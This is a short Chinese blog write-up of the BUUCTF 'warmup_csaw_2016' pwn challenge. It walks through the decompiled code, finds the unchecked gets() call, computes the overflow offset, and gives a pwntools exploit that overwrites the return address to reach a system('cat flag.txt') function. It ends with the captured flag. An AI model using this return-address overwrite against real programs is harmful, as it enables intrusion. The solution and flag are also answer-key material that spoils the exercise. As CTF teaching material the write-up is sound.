本文主要是介绍buuctf warmup_csaw_2016,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
buuctf warmup_csaw_2016
只开启了部分RELRO保护, 64位
用ida64位打开
先找到main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{char s[64]; // [rsp+0h] [rbp-80h] BYREFchar v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL);write(1, "WOW:", 4uLL);sprintf(s, "%p\n", sub_40060D);write(1, s, 9uLL);write(1, ">", 1uLL);return gets(v5);
}
可以看到在sprintf里有一个函数
int sub_40060D()
{return system("cat flag.txt");
}
他正是拿到flag需要执行的指令,所以这道题就是一个简单的栈溢出
最后需要输入的是gets,存储在v5之中
查看v5在栈中存储的位置
可以看出,s的地址是从0x41~x80,需要的v5的地址就是0~0x40,所以需要填充的地址就是0x40+8 (+8,就是覆盖64位下rbp的长度)
然后找到函数的首地址是0x40060D
EXP
from pwn import *
#io = remote("ip地址", 端口)
io = remote("node4.buuoj.cn", 25915)
payload = b'A' * (0x40 + 8) + p64(0x40060D)
io.writeline(payload)
io.interactive()
getflag
flag{03779684-e617-4068-9b1e-246435d4d2e5}
这篇关于buuctf warmup_csaw_2016的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!